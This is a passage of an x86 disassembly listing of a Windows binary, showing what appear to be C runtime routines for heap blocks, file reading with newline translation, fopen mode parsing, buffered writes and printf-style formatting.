edx sub [ecx+4], edx jmp short loc_41F6B3 ; --------------------------------------------------------------------------- loc_41F6AA: ; CODE XREF: sub_41F676+2Bj and dword ptr [ecx+4], 0 lea eax, [ecx+8] mov [ecx], eax loc_41F6B3: ; CODE XREF: sub_41F676+32j lea eax, [edi+8] jmp loc_41F789 ; --------------------------------------------------------------------------- loc_41F6BB: ; CODE XREF: sub_41F676+22j add esi, edi cmp byte ptr [esi], 0 jz short loc_41F6C4 mov eax, esi loc_41F6C4: ; CODE XREF: sub_41F676+4Aj lea esi, [eax+edx] cmp esi, ebx jnb short loc_41F70E loc_41F6CB: ; CODE XREF: sub_41F676+96j mov bl, [eax] test bl, bl jnz short loc_41F701 push 1 lea ebx, [eax+1] pop esi loc_41F6D7: ; CODE XREF: sub_41F676+68j cmp byte ptr [ebx], 0 jnz short loc_41F6E0 inc ebx inc esi jmp short loc_41F6D7 ; --------------------------------------------------------------------------- loc_41F6E0: ; CODE XREF: sub_41F676+64j cmp esi, edx jnb short loc_41F732 cmp eax, [ebp+var_4] jnz short loc_41F6EE mov [ecx+4], esi jmp short loc_41F6FA ; --------------------------------------------------------------------------- loc_41F6EE: ; CODE XREF: sub_41F676+71j sub [ebp+arg_4], esi cmp [ebp+arg_4], edx jb loc_41F793 loc_41F6FA: ; CODE XREF: sub_41F676+76j mov edi, [ebp+var_4] mov eax, ebx jmp short loc_41F706 ; --------------------------------------------------------------------------- loc_41F701: ; CODE XREF: sub_41F676+59j movzx esi, bl add eax, esi loc_41F706: ; CODE XREF: sub_41F676+89j lea esi, [eax+edx] cmp esi, [ebp+arg_0] jb short loc_41F6CB loc_41F70E: ; CODE XREF: sub_41F676+53j lea esi, [ecx+8] loc_41F711: ; CODE XREF: sub_41F676+EBj ; sub_41F676+F2j cmp esi, edi jnb short loc_41F793 lea eax, [esi+edx] cmp eax, [ebp+arg_0] jnb short loc_41F793 mov al, [esi] test al, al jnz short loc_41F763 push 1 lea ebx, [esi+1] pop eax loc_41F729: ; CODE XREF: sub_41F676+BAj cmp byte ptr [ebx], 0 jnz short loc_41F753 inc ebx inc eax jmp short loc_41F729 ; --------------------------------------------------------------------------- loc_41F732: ; CODE XREF: sub_41F676+6Cj lea ebx, [eax+edx] cmp ebx, [ebp+arg_0] jnb short loc_41F743 sub esi, edx mov [ecx], ebx mov [ecx+4], esi jmp short loc_41F74C ; --------------------------------------------------------------------------- loc_41F743: ; CODE XREF: sub_41F676+C2j and dword ptr [ecx+4], 0 lea esi, [ecx+8] mov [ecx], esi loc_41F74C: ; CODE XREF: sub_41F676+CBj mov [eax], dl add eax, 8 jmp short loc_41F789 ; --------------------------------------------------------------------------- loc_41F753: ; CODE XREF: sub_41F676+B6j cmp eax, edx jnb short loc_41F76A sub [ebp+arg_4], eax cmp [ebp+arg_4], edx jb short loc_41F793 mov esi, ebx jmp short loc_41F711 ; --------------------------------------------------------------------------- loc_41F763: ; CODE XREF: sub_41F676+ABj movzx eax, al add esi, eax jmp short loc_41F711 ; --------------------------------------------------------------------------- loc_41F76A: ; CODE XREF: sub_41F676+DFj lea ebx, [esi+edx] cmp ebx, [ebp+arg_0] jnb short loc_41F77B sub eax, edx mov [ecx], ebx mov [ecx+4], eax jmp short loc_41F784 ; --------------------------------------------------------------------------- loc_41F77B: ; CODE XREF: sub_41F676+FAj and dword ptr [ecx+4], 0 lea eax, [ecx+8] mov [ecx], eax loc_41F784: ; CODE XREF: sub_41F676+103j mov [esi], dl lea eax, [esi+8] loc_41F789: ; CODE XREF: sub_41F676+40j ; sub_41F676+DBj imul ecx, 0Fh shl eax, 4 sub eax, ecx jmp short loc_41F795 ; --------------------------------------------------------------------------- loc_41F793: ; CODE XREF: sub_41F676+7Ej ; sub_41F676+9Dj ... xor eax, eax loc_41F795: ; CODE XREF: sub_41F676+11Bj pop edi pop esi pop ebx leave retn sub_41F676 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41F79A proc near ; CODE XREF: sub_41B9D2+19Ap var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx mov edx, [ebp+arg_8] push ebx mov ebx, [ebp+arg_4] push esi movzx ecx, byte ptr [edx] push edi mov edi, [ebp+arg_0] and [ebp+var_4], 0 mov eax, ebx sub eax, [edi+10h] sar eax, 0Ch cmp ecx, [ebp+arg_C] lea edi, [edi+eax*8+18h] jbe short loc_41F7D4 mov eax, [ebp+arg_C] sub ecx, eax mov [edx], al add [edi], ecx mov dword ptr [edi+4], 0F1h jmp short loc_41F834 ; --------------------------------------------------------------------------- loc_41F7D4: ; CODE XREF: sub_41F79A+26j jnb short loc_41F83B mov eax, [ebp+arg_C] lea esi, [edx+eax] lea eax, [ebx+0F8h] cmp eax, esi jb short loc_41F83B lea eax, [ecx+edx] loc_41F7E9: ; CODE XREF: sub_41F79A+59j cmp eax, esi jnb short loc_41F7F7 cmp byte ptr [eax], 0 jnz short loc_41F7F5 inc eax jmp short loc_41F7E9 ; --------------------------------------------------------------------------- loc_41F7F5: ; CODE XREF: sub_41F79A+56j cmp eax, esi loc_41F7F7: ; CODE XREF: sub_41F79A+51j jnz short loc_41F83B mov al, byte ptr [ebp+arg_C] mov [edx], al mov eax, [ebx] cmp edx, eax ja short loc_41F82F cmp esi, eax jbe short loc_41F82F lea eax, [ebx+0F8h] cmp esi, eax jnb short loc_41F826 xor eax, eax mov [ebx], esi cmp [esi], al jnz short loc_41F821 loc_41F81A: ; CODE XREF: sub_41F79A+85j inc eax cmp byte ptr [esi+eax], 0 jz short loc_41F81A loc_41F821: ; CODE XREF: sub_41F79A+7Ej mov [ebx+4], eax jmp short loc_41F82F ; --------------------------------------------------------------------------- loc_41F826: ; CODE XREF: sub_41F79A+76j and dword ptr [ebx+4], 0 lea eax, [ebx+8] mov [ebx], eax loc_41F82F: ; CODE XREF: sub_41F79A+68j ; sub_41F79A+6Cj ... sub ecx, [ebp+arg_C] add [edi], ecx loc_41F834: ; CODE XREF: sub_41F79A+38j mov [ebp+var_4], 1 loc_41F83B: ; CODE XREF: sub_41F79A:loc_41F7D4j ; sub_41F79A+4Aj ... mov eax, [ebp+var_4] pop edi pop esi pop ebx leave retn sub_41F79A endp ; =============== S U B R O U T I N E ======================================= sub_41F843 proc near ; CODE XREF: sub_41B8EA+A9p ; sub_41C31F+2Dp ... arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] mov eax, [esi+0Ch] test al, 83h jz loc_41F917 test al, 40h jnz loc_41F917 test al, 2 jz short loc_41F869 or al, 20h mov [esi+0Ch], eax jmp loc_41F917 ; --------------------------------------------------------------------------- loc_41F869: ; CODE XREF: sub_41F843+1Aj or al, 1 test ax, 10Ch mov [esi+0Ch], eax jnz short loc_41F87D push esi call sub_42421A pop ecx jmp short loc_41F882 ; --------------------------------------------------------------------------- loc_41F87D: ; CODE XREF: sub_41F843+2Fj mov eax, [esi+8] mov [esi], eax loc_41F882: ; CODE XREF: sub_41F843+38j push dword ptr [esi+18h] push dword ptr [esi+8] push dword ptr [esi+10h] call sub_41F91C add esp, 0Ch mov [esi+4], eax test eax, eax jz short loc_41F906 cmp eax, 0FFFFFFFFh jz short loc_41F906 mov edx, [esi+0Ch] test dl, 82h jnz short loc_41F8DB mov ecx, [esi+10h] push edi cmp ecx, 0FFFFFFFFh jz short loc_41F8C4 mov edi, ecx sar edi, 5 and ecx, 1Fh mov edi, dword_4DE360[edi*4] lea edi, [edi+ecx*8] jmp short loc_41F8C9 ; --------------------------------------------------------------------------- loc_41F8C4: ; CODE XREF: sub_41F843+6Bj mov edi, offset dword_43F8C0 loc_41F8C9: ; CODE XREF: sub_41F843+7Fj mov cl, [edi+4] pop edi and cl, 82h cmp cl, 82h jnz short loc_41F8DB or dh, 20h mov [esi+0Ch], edx loc_41F8DB: ; CODE XREF: sub_41F843+62j ; sub_41F843+90j cmp dword ptr [esi+18h], 200h jnz short loc_41F8F8 mov ecx, [esi+0Ch] test cl, 8 jz short loc_41F8F8 test ch, 4 jnz short loc_41F8F8 mov dword ptr [esi+18h], 1000h loc_41F8F8: ; CODE XREF: sub_41F843+9Fj ; sub_41F843+A7j ... mov ecx, [esi] dec eax mov [esi+4], eax movzx eax, byte ptr [ecx] inc ecx mov [esi], ecx pop esi retn ; --------------------------------------------------------------------------- loc_41F906: ; CODE XREF: sub_41F843+55j ; sub_41F843+5Aj neg eax sbb eax, eax and eax, 10h add eax, 10h or [esi+0Ch], eax and dword ptr [esi+4], 0 loc_41F917: ; CODE XREF: sub_41F843+Aj ; sub_41F843+12j ... or eax, 0FFFFFFFFh pop esi retn sub_41F843 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41F91C proc near ; CODE XREF: sub_41B8EA+90p ; sub_41F843+48p ... var_C = dword ptr -0Ch var_8 = dword ptr -8 var_1 = byte ptr -1 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch push ebx push esi mov esi, [ebp+arg_0] push edi cmp esi, dword_4DE460 jnb loc_41FAF9 mov eax, esi and esi, 1Fh sar eax, 5 shl esi, 3 lea ebx, ds:4DE360h[eax*4] mov eax, dword_4DE360[eax*4] add eax, esi mov dl, [eax+4] test dl, 1 jz loc_41FAF9 and [ebp+var_8], 0 mov edi, [ebp+arg_4] cmp [ebp+arg_8], 0 mov ecx, edi jz short loc_41F9D1 test dl, 2 jnz short loc_41F9D1 test dl, 48h jz short loc_41F991 mov al, [eax+5] cmp al, 0Ah jz short loc_41F991 dec [ebp+arg_8] mov [edi], al mov eax, [ebx] lea ecx, [edi+1] mov [ebp+var_8], 1 mov byte ptr [eax+esi+5], 0Ah loc_41F991: ; CODE XREF: sub_41F91C+56j ; sub_41F91C+5Dj lea eax, [ebp+var_C] push 0 push eax mov eax, [ebx] push [ebp+arg_8] push ecx push dword ptr [eax+esi] call dword_4280E8 ; ReadFile test eax, eax jnz short loc_41F9E4 call dword_42808C ; RtlGetLastWin32Error push 5 pop ecx cmp eax, ecx jnz short loc_41F9CC mov dword_4DE02C, 9 mov dword_4DE030, ecx jmp loc_41FB0A ; --------------------------------------------------------------------------- loc_41F9CC: ; CODE XREF: sub_41F91C+99j cmp eax, 6Dh jnz short loc_41F9D8 loc_41F9D1: ; CODE XREF: sub_41F91C+4Cj ; sub_41F91C+51j xor eax, eax jmp loc_41FB0D ; --------------------------------------------------------------------------- loc_41F9D8: ; CODE XREF: sub_41F91C+B3j push eax call sub_420BDF pop ecx jmp loc_41FB0A ; --------------------------------------------------------------------------- loc_41F9E4: ; CODE XREF: sub_41F91C+8Cj mov eax, [ebx] mov edx, [ebp+var_C] add [ebp+var_8], edx lea ecx, [eax+esi+4] mov al, [eax+esi+4] test al, 80h jz loc_41FAF4 test edx, edx jz short loc_41FA09 cmp byte ptr [edi], 0Ah jnz short loc_41FA09 or al, 4 jmp short loc_41FA0B ; --------------------------------------------------------------------------- loc_41FA09: ; CODE XREF: sub_41F91C+E2j ; sub_41F91C+E7j and al, 0FBh loc_41FA0B: ; CODE XREF: sub_41F91C+EBj mov [ecx], al mov eax, [ebp+arg_4] mov ecx, [ebp+var_8] mov [ebp+arg_8], eax add ecx, eax cmp eax, ecx mov [ebp+var_8], ecx jnb loc_41FAEE loc_41FA23: ; CODE XREF: sub_41F91C+1BAj mov eax, [ebp+arg_8] mov al, [eax] cmp al, 1Ah jz loc_41FADE cmp al, 0Dh jz short loc_41FA3F mov [edi], al inc edi inc [ebp+arg_8] jmp loc_41FAD0 ; --------------------------------------------------------------------------- loc_41FA3F: ; CODE XREF: sub_41F91C+116j dec ecx cmp [ebp+arg_8], ecx jnb short loc_41FA5D mov eax, [ebp+arg_8] inc eax cmp byte ptr [eax], 0Ah jnz short loc_41FA54 add [ebp+arg_8], 2 jmp short loc_41FAB2 ; --------------------------------------------------------------------------- loc_41FA54: ; CODE XREF: sub_41F91C+130j mov byte ptr [edi], 0Dh inc edi mov [ebp+arg_8], eax jmp short loc_41FAD0 ; --------------------------------------------------------------------------- loc_41FA5D: ; CODE XREF: sub_41F91C+127j lea eax, [ebp+var_C] push 0 push eax inc [ebp+arg_8] lea eax, [ebp+var_1] push 1 push eax mov eax, [ebx] push dword ptr [eax+esi] call dword_4280E8 ; ReadFile test eax, eax jnz short loc_41FA85 call dword_42808C ; RtlGetLastWin32Error test eax, eax jnz short loc_41FACC loc_41FA85: ; CODE XREF: sub_41F91C+15Dj cmp [ebp+var_C], 0 jz short loc_41FACC mov eax, [ebx] test byte ptr [eax+esi+4], 48h jz short loc_41FAA7 mov al, [ebp+var_1] cmp al, 0Ah jz short loc_41FAB2 mov byte ptr [edi], 0Dh mov ecx, [ebx] inc edi mov [ecx+esi+5], al jmp short loc_41FAD0 ; --------------------------------------------------------------------------- loc_41FAA7: ; CODE XREF: sub_41F91C+176j cmp edi, [ebp+arg_4] jnz short loc_41FAB7 cmp [ebp+var_1], 0Ah jnz short loc_41FAB7 loc_41FAB2: ; CODE XREF: sub_41F91C+136j ; sub_41F91C+17Dj mov byte ptr [edi], 0Ah jmp short loc_41FACF ; --------------------------------------------------------------------------- loc_41FAB7: ; CODE XREF: sub_41F91C+18Ej ; sub_41F91C+194j push 1 push 0FFFFFFFFh push [ebp+arg_0] call sub_422FE4 add esp, 0Ch cmp [ebp+var_1], 0Ah jz short loc_41FAD0 loc_41FACC: ; CODE XREF: sub_41F91C+167j ; sub_41F91C+16Dj mov byte ptr [edi], 0Dh loc_41FACF: ; CODE XREF: sub_41F91C+199j inc edi loc_41FAD0: ; CODE XREF: sub_41F91C+11Ej ; sub_41F91C+13Fj ... mov ecx, [ebp+var_8] cmp [ebp+arg_8], ecx jb loc_41FA23 jmp short loc_41FAEE ; --------------------------------------------------------------------------- loc_41FADE: ; CODE XREF: sub_41F91C+10Ej mov eax, [ebx] lea esi, [eax+esi+4] mov al, [esi] test al, 40h jnz short loc_41FAEE or al, 2 mov [esi], al loc_41FAEE: ; CODE XREF: sub_41F91C+101j ; sub_41F91C+1C0j ... sub edi, [ebp+arg_4] mov [ebp+var_8], edi loc_41FAF4: ; CODE XREF: sub_41F91C+DAj mov eax, [ebp+var_8] jmp short loc_41FB0D ; --------------------------------------------------------------------------- loc_41FAF9: ; CODE XREF: sub_41F91C+12j ; sub_41F91C+39j and dword_4DE030, 0 mov dword_4DE02C, 9 loc_41FB0A: ; CODE XREF: sub_41F91C+ABj ; sub_41F91C+C3j or eax, 0FFFFFFFFh loc_41FB0D: ; CODE XREF: sub_41F91C+B7j ; sub_41F91C+1DBj pop edi pop esi pop ebx leave retn sub_41F91C endp ; =============== S U B R O U T I N E ======================================= sub_41FB12 proc near ; CODE XREF: sub_41B9D2+126p ; sub_41B9D2+24Bp ... arg_0 = dword ptr 4 mov eax, dword_4DE0B0 test eax, eax jz short loc_41FB2A push [esp+arg_0] call eax test eax, eax pop ecx jz short loc_41FB2A push 1 pop eax retn ; --------------------------------------------------------------------------- loc_41FB2A: ; CODE XREF: sub_41FB12+7j ; sub_41FB12+12j xor eax, eax retn sub_41FB12 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41FB2D proc near ; CODE XREF: sub_41BC72+17p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx push ecx push ebx push esi mov esi, dword_4DE21C push edi mov edi, [ebp+arg_4] xor ebx, ebx mov [ebp+var_8], ebx mov [ebp+var_4], ebx mov al, [edi] cmp al, 61h jz short loc_41FB66 cmp al, 72h jz short loc_41FB5F cmp al, 77h jnz loc_41FC7A mov ecx, 301h jmp short loc_41FB6B ; --------------------------------------------------------------------------- loc_41FB5F: ; CODE XREF: sub_41FB2D+21j xor ecx, ecx or esi, 1 jmp short loc_41FB6E ; --------------------------------------------------------------------------- loc_41FB66: ; CODE XREF: sub_41FB2D+1Dj mov ecx, 109h loc_41FB6B: ; CODE XREF: sub_41FB2D+30j or esi, 2 loc_41FB6E: ; CODE XREF: sub_41FB2D+37j push 1 pop edx loc_41FB71: ; CODE XREF: sub_41FB2D+8Bj ; sub_41FB2D+A0j ... mov al, [edi+1] inc edi cmp al, bl jz loc_41FC60 cmp edx, ebx jz loc_41FC60 movsx eax, al cmp eax, 54h jg short loc_41FBFF jz short loc_41FBEF sub eax, 2Bh jz short loc_41FBD9 sub eax, 19h jz short loc_41FBCF sub eax, 0Eh jz short loc_41FBBA dec eax jnz loc_41FC51 cmp [ebp+var_4], ebx jnz loc_41FC51 mov [ebp+var_4], 1 or ecx, 20h jmp short loc_41FB71 ; --------------------------------------------------------------------------- loc_41FBBA: ; CODE XREF: sub_41FB2D+6Fj cmp [ebp+var_4], ebx jnz loc_41FC51 mov [ebp+var_4], 1 or ecx, 10h jmp short loc_41FB71 ; --------------------------------------------------------------------------- loc_41FBCF: ; CODE XREF: sub_41FB2D+6Aj test cl, 40h jnz short loc_41FC51 or ecx, 40h jmp short loc_41FB71 ; --------------------------------------------------------------------------- loc_41FBD9: ; CODE XREF: sub_41FB2D+65j test cl, 2 jnz short loc_41FC51 and ecx, 0FFFFFFFEh and esi, 0FFFFFFFCh or ecx, 2 or esi, 80h jmp short loc_41FB71 ; --------------------------------------------------------------------------- loc_41FBEF: ; CODE XREF: sub_41FB2D+60j mov eax, 1000h test ecx, eax jnz short loc_41FC51 or ecx, eax jmp loc_41FB71 ; --------------------------------------------------------------------------- loc_41FBFF: ; CODE XREF: sub_41FB2D+5Ej sub eax, 62h jz short loc_41FC4C dec eax jz short loc_41FC35 sub eax, 0Bh jz short loc_41FC1E sub eax, 6 jnz short loc_41FC51 test ch, 0C0h jnz short loc_41FC51 or ch, 40h jmp loc_41FB71 ; --------------------------------------------------------------------------- loc_41FC1E: ; CODE XREF: sub_41FB2D+DDj cmp [ebp+var_8], ebx jnz short loc_41FC51 mov [ebp+var_8], 1 and esi, 0FFFFBFFFh jmp loc_41FB71 ; --------------------------------------------------------------------------- loc_41FC35: ; CODE XREF: sub_41FB2D+D8j cmp [ebp+var_8], ebx jnz short loc_41FC51 mov [ebp+var_8], 1 or esi, 4000h jmp loc_41FB71 ; --------------------------------------------------------------------------- loc_41FC4C: ; CODE XREF: sub_41FB2D+D5j test ch, 0C0h jz short loc_41FC58 loc_41FC51: ; CODE XREF: sub_41FB2D+72j ; sub_41FB2D+7Bj ... xor edx, edx jmp loc_41FB71 ; --------------------------------------------------------------------------- loc_41FC58: ; CODE XREF: sub_41FB2D+122j or ch, 80h jmp loc_41FB71 ; --------------------------------------------------------------------------- loc_41FC60: ; CODE XREF: sub_41FB2D+4Aj ; sub_41FB2D+52j push 1A4h push [ebp+arg_8] push ecx push [ebp+arg_0] call sub_42425E mov ecx, eax add esp, 10h cmp ecx, ebx jge short loc_41FC7E loc_41FC7A: ; CODE XREF: sub_41FB2D+25j xor eax, eax jmp short loc_41FC98 ; --------------------------------------------------------------------------- loc_41FC7E: ; CODE XREF: sub_41FB2D+14Bj mov eax, [ebp+arg_C] inc dword_4DE104 mov [eax+0Ch], esi mov [eax+4], ebx mov [eax], ebx mov [eax+8], ebx mov [eax+1Ch], ebx mov [eax+10h], ecx loc_41FC98: ; CODE XREF: sub_41FB2D+14Fj pop edi pop esi pop ebx leave retn sub_41FB2D endp ; =============== S U B R O U T I N E ======================================= sub_41FC9D proc near ; CODE XREF: sub_41BC72p mov edx, dword_4DF480 push ebx push ebp push esi xor ebp, ebp xor esi, esi xor eax, eax cmp edx, ebp push edi jle short loc_41FD0E mov ebx, dword_4DE464 mov edi, ebx loc_41FCB9: ; CODE XREF: sub_41FC9D+2Ej mov ecx, [edi] cmp ecx, ebp jz short loc_41FCD4 test byte ptr [ecx+0Ch], 83h jz short loc_41FCCF inc eax add edi, 4 cmp eax, edx jl short loc_41FCB9 jmp short loc_41FD0E ; --------------------------------------------------------------------------- loc_41FCCF: ; CODE XREF: sub_41FC9D+26j mov esi, [ebx+eax*4] jmp short loc_41FCF8 ; --------------------------------------------------------------------------- loc_41FCD4: ; CODE XREF: sub_41FC9D+20j mov edi, eax push 20h shl edi, 2 call sub_41BCA5 pop ecx mov ecx, dword_4DE464 mov [edi+ecx], eax mov eax, dword_4DE464 mov edi, [edi+eax] cmp edi, ebp jz short loc_41FD0E mov esi, edi loc_41FCF8: ; CODE XREF: sub_41FC9D+35j cmp esi, ebp jz short loc_41FD0E or dword ptr [esi+10h], 0FFFFFFFFh mov [esi+4], ebp mov [esi+0Ch], ebp mov [esi+8], ebp mov [esi], ebp mov [esi+1Ch], ebp loc_41FD0E: ; CODE XREF: sub_41FC9D+12j ; sub_41FC9D+30j ... mov eax, esi pop edi pop esi pop ebp pop ebx retn sub_41FC9D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41FD15 proc near ; CODE XREF: sub_41BEBE+17p ; sub_41BEBE+58p ... var_4 = byte ptr -4 var_3 = byte ptr -3 var_2 = byte ptr -2 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] lea ecx, [eax+1] cmp ecx, 100h ja short loc_41FD33 mov ecx, off_43EFE8 movzx eax, word ptr [ecx+eax*2] jmp short loc_41FD85 ; --------------------------------------------------------------------------- loc_41FD33: ; CODE XREF: sub_41FD15+10j mov ecx, eax push esi mov esi, off_43EFE8 sar ecx, 8 movzx edx, cl test byte ptr [esi+edx*2+1], 80h pop esi jz short loc_41FD58 and [ebp+var_2], 0 mov [ebp+var_4], cl mov [ebp+var_3], al push 2 jmp short loc_41FD61 ; --------------------------------------------------------------------------- loc_41FD58: ; CODE XREF: sub_41FD15+33j and [ebp+var_3], 0 mov [ebp+var_4], al push 1 loc_41FD61: ; CODE XREF: sub_41FD15+41j pop eax lea ecx, [ebp+arg_0+2] push 1 push 0 push 0 push ecx push eax lea eax, [ebp+var_4] push eax push 1 call sub_424517 add esp, 1Ch test eax, eax jnz short loc_41FD81 leave retn ; --------------------------------------------------------------------------- loc_41FD81: ; CODE XREF: sub_41FD15+68j movzx eax, word ptr [ebp+arg_0+2] loc_41FD85: ; CODE XREF: sub_41FD15+1Cj and eax, [ebp+arg_4] leave retn sub_41FD15 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41FD8A proc near ; CODE XREF: sub_41C056+46p ; sub_41C150+45p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ebx push esi mov esi, [ebp+arg_4] mov eax, [esi+0Ch] mov ebx, [esi+10h] test al, 82h jz loc_41FE93 test al, 40h jnz loc_41FE93 test al, 1 jz short loc_41FDC2 and dword ptr [esi+4], 0 test al, 10h jz loc_41FE93 mov ecx, [esi+8] and al, 0FEh mov [esi], ecx mov [esi+0Ch], eax loc_41FDC2: ; CODE XREF: sub_41FD8A+20j mov eax, [esi+0Ch] and dword ptr [esi+4], 0 and [ebp+arg_4], 0 and al, 0EFh or al, 2 test ax, 10Ch mov [esi+0Ch], eax jnz short loc_41FDFC cmp esi, offset dword_43F5D8 jz short loc_41FDEA cmp esi, offset dword_43F5F8 jnz short loc_41FDF5 loc_41FDEA: ; CODE XREF: sub_41FD8A+56j push ebx call sub_424660 test eax, eax pop ecx jnz short loc_41FDFC loc_41FDF5: ; CODE XREF: sub_41FD8A+5Ej push esi call sub_42421A pop ecx loc_41FDFC: ; CODE XREF: sub_41FD8A+4Ej ; sub_41FD8A+69j test word ptr [esi+0Ch], 108h push edi jz short loc_41FE69 mov eax, [esi+8] mov edi, [esi] sub edi, eax lea ecx, [eax+1] mov [esi], ecx mov ecx, [esi+18h] dec ecx test edi, edi mov [esi+4], ecx jle short loc_41FE2C push edi push eax push ebx call sub_4231D6 add esp, 0Ch mov [ebp+arg_4], eax jmp short loc_41FE5F ; --------------------------------------------------------------------------- loc_41FE2C: ; CODE XREF: sub_41FD8A+90j cmp ebx, 0FFFFFFFFh jz short loc_41FE47 mov eax, ebx mov ecx, ebx sar eax, 5 and ecx, 1Fh mov eax, dword_4DE360[eax*4] lea eax, [eax+ecx*8] jmp short loc_41FE4C ; --------------------------------------------------------------------------- loc_41FE47: ; CODE XREF: sub_41FD8A+A5j mov eax, offset dword_43F8C0 loc_41FE4C: ; CODE XREF: sub_41FD8A+BBj test byte ptr [eax+4], 20h jz short loc_41FE5F push 2 push 0 push ebx call sub_422FE4 add esp, 0Ch loc_41FE5F: ; CODE XREF: sub_41FD8A+A0j ; sub_41FD8A+C6j mov eax, [esi+8] mov cl, byte ptr [ebp+arg_0] mov [eax], cl jmp short loc_41FE7D ; --------------------------------------------------------------------------- loc_41FE69: ; CODE XREF: sub_41FD8A+79j push 1 lea eax, [ebp+arg_0] pop edi push edi push eax push ebx call sub_4231D6 add esp, 0Ch mov [ebp+arg_4], eax loc_41FE7D: ; CODE XREF: sub_41FD8A+DDj cmp [ebp+arg_4], edi pop edi jz short loc_41FE89 or dword ptr [esi+0Ch], 20h jmp short loc_41FE98 ; --------------------------------------------------------------------------- loc_41FE89: ; CODE XREF: sub_41FD8A+F7j mov eax, [ebp+arg_0] and eax, 0FFh jmp short loc_41FE9B ; --------------------------------------------------------------------------- loc_41FE93: ; CODE XREF: sub_41FD8A+10j ; sub_41FD8A+18j ... or al, 20h mov [esi+0Ch], eax loc_41FE98: ; CODE XREF: sub_41FD8A+FDj or eax, 0FFFFFFFFh loc_41FE9B: ; CODE XREF: sub_41FD8A+107j pop esi pop ebx pop ebp retn sub_41FD8A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41FE9F proc near ; CODE XREF: sub_41C056+29p ; sub_41C150+28p ... var_248 = byte ptr -248h var_247 = byte ptr -247h var_49 = byte ptr -49h var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = byte ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_16 = byte ptr -16h var_15 = byte ptr -15h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 248h push ebx push esi push edi mov edi, [ebp+arg_4] xor esi, esi mov bl, [edi] inc edi test bl, bl mov [ebp+var_C], esi mov [ebp+var_14], esi mov [ebp+arg_4], edi jz loc_4205B8 mov ecx, [ebp+var_10] xor edx, edx jmp short loc_41FED3 ; --------------------------------------------------------------------------- loc_41FECB: ; CODE XREF: sub_41FE9F+713j mov ecx, [ebp+var_10] mov esi, [ebp+var_30] xor edx, edx loc_41FED3: ; CODE XREF: sub_41FE9F+2Aj cmp [ebp+var_14], edx jl loc_4205B8 cmp bl, 20h jl short loc_41FEF4 cmp bl, 78h jg short loc_41FEF4 movsx eax, bl mov al, [eax+42873Ch] and eax, 0Fh jmp short loc_41FEF6 ; --------------------------------------------------------------------------- loc_41FEF4: ; CODE XREF: sub_41FE9F+40j ; sub_41FE9F+45j xor eax, eax loc_41FEF6: ; CODE XREF: sub_41FE9F+53j movsx eax, byte_42875C[esi+eax*8] sar eax, 4 cmp eax, 7 ; switch 8 cases mov [ebp+var_30], eax ja loc_4205A7 ; default jmp off_4205C0[eax*4] ; switch jump loc_41FF14: ; DATA XREF: .packed:off_4205C0o or [ebp+var_10], 0FFFFFFFFh ; jumptable 0041FF0D case 1 mov [ebp+var_34], edx mov [ebp+var_28], edx mov [ebp+var_20], edx mov [ebp+var_1C], edx mov [ebp+var_4], edx mov [ebp+var_24], edx jmp loc_4205A7 ; default ; --------------------------------------------------------------------------- loc_41FF2F: ; CODE XREF: sub_41FE9F+6Ej ; DATA XREF: .packed:off_4205C0o movsx eax, bl ; jumptable 0041FF0D case 2 sub eax, 20h jz short loc_41FF72 sub eax, 3 jz short loc_41FF69 sub eax, 8 jz short loc_41FF60 dec eax dec eax jz short loc_41FF57 sub eax, 3 jnz loc_4205A7 ; default or [ebp+var_4], 8 jmp loc_4205A7 ; default ; --------------------------------------------------------------------------- loc_41FF57: ; CODE XREF: sub_41FE9F+A4j or [ebp+var_4], 4 jmp loc_4205A7 ; default ; --------------------------------------------------------------------------- loc_41FF60: ; CODE XREF: sub_41FE9F+A0j or [ebp+var_4], 1 jmp loc_4205A7 ; default ; --------------------------------------------------------------------------- loc_41FF69: ; CODE XREF: sub_41FE9F+9Bj or byte ptr [ebp+var_4], 80h jmp loc_4205A7 ; default ; --------------------------------------------------------------------------- loc_41FF72: ; CODE XREF: sub_41FE9F+96j or [ebp+var_4], 2 jmp loc_4205A7 ; default ; --------------------------------------------------------------------------- loc_41FF7B: ; CODE XREF: sub_41FE9F+6Ej ; DATA XREF: .packed:off_4205C0o cmp bl, 2Ah ; jumptable 0041FF0D case 3 jnz short loc_41FFA3 lea eax, [ebp+arg_8] push eax call sub_42067E test eax, eax pop ecx mov [ebp+var_20], eax jge loc_4205A7 ; default or [ebp+var_4], 4 neg eax loc_41FF9B: ; CODE XREF: sub_41FE9F+111j mov [ebp+var_20], eax jmp loc_4205A7 ; default ; --------------------------------------------------------------------------- loc_41FFA3: ; CODE XREF: sub_41FE9F+DFj mov eax, [ebp+var_20] movsx ecx, bl lea eax, [eax+eax*4] lea eax, [ecx+eax*2-30h] jmp short loc_41FF9B ; --------------------------------------------------------------------------- loc_41FFB2: ; CODE XREF: sub_41FE9F+6Ej ; DATA XREF: 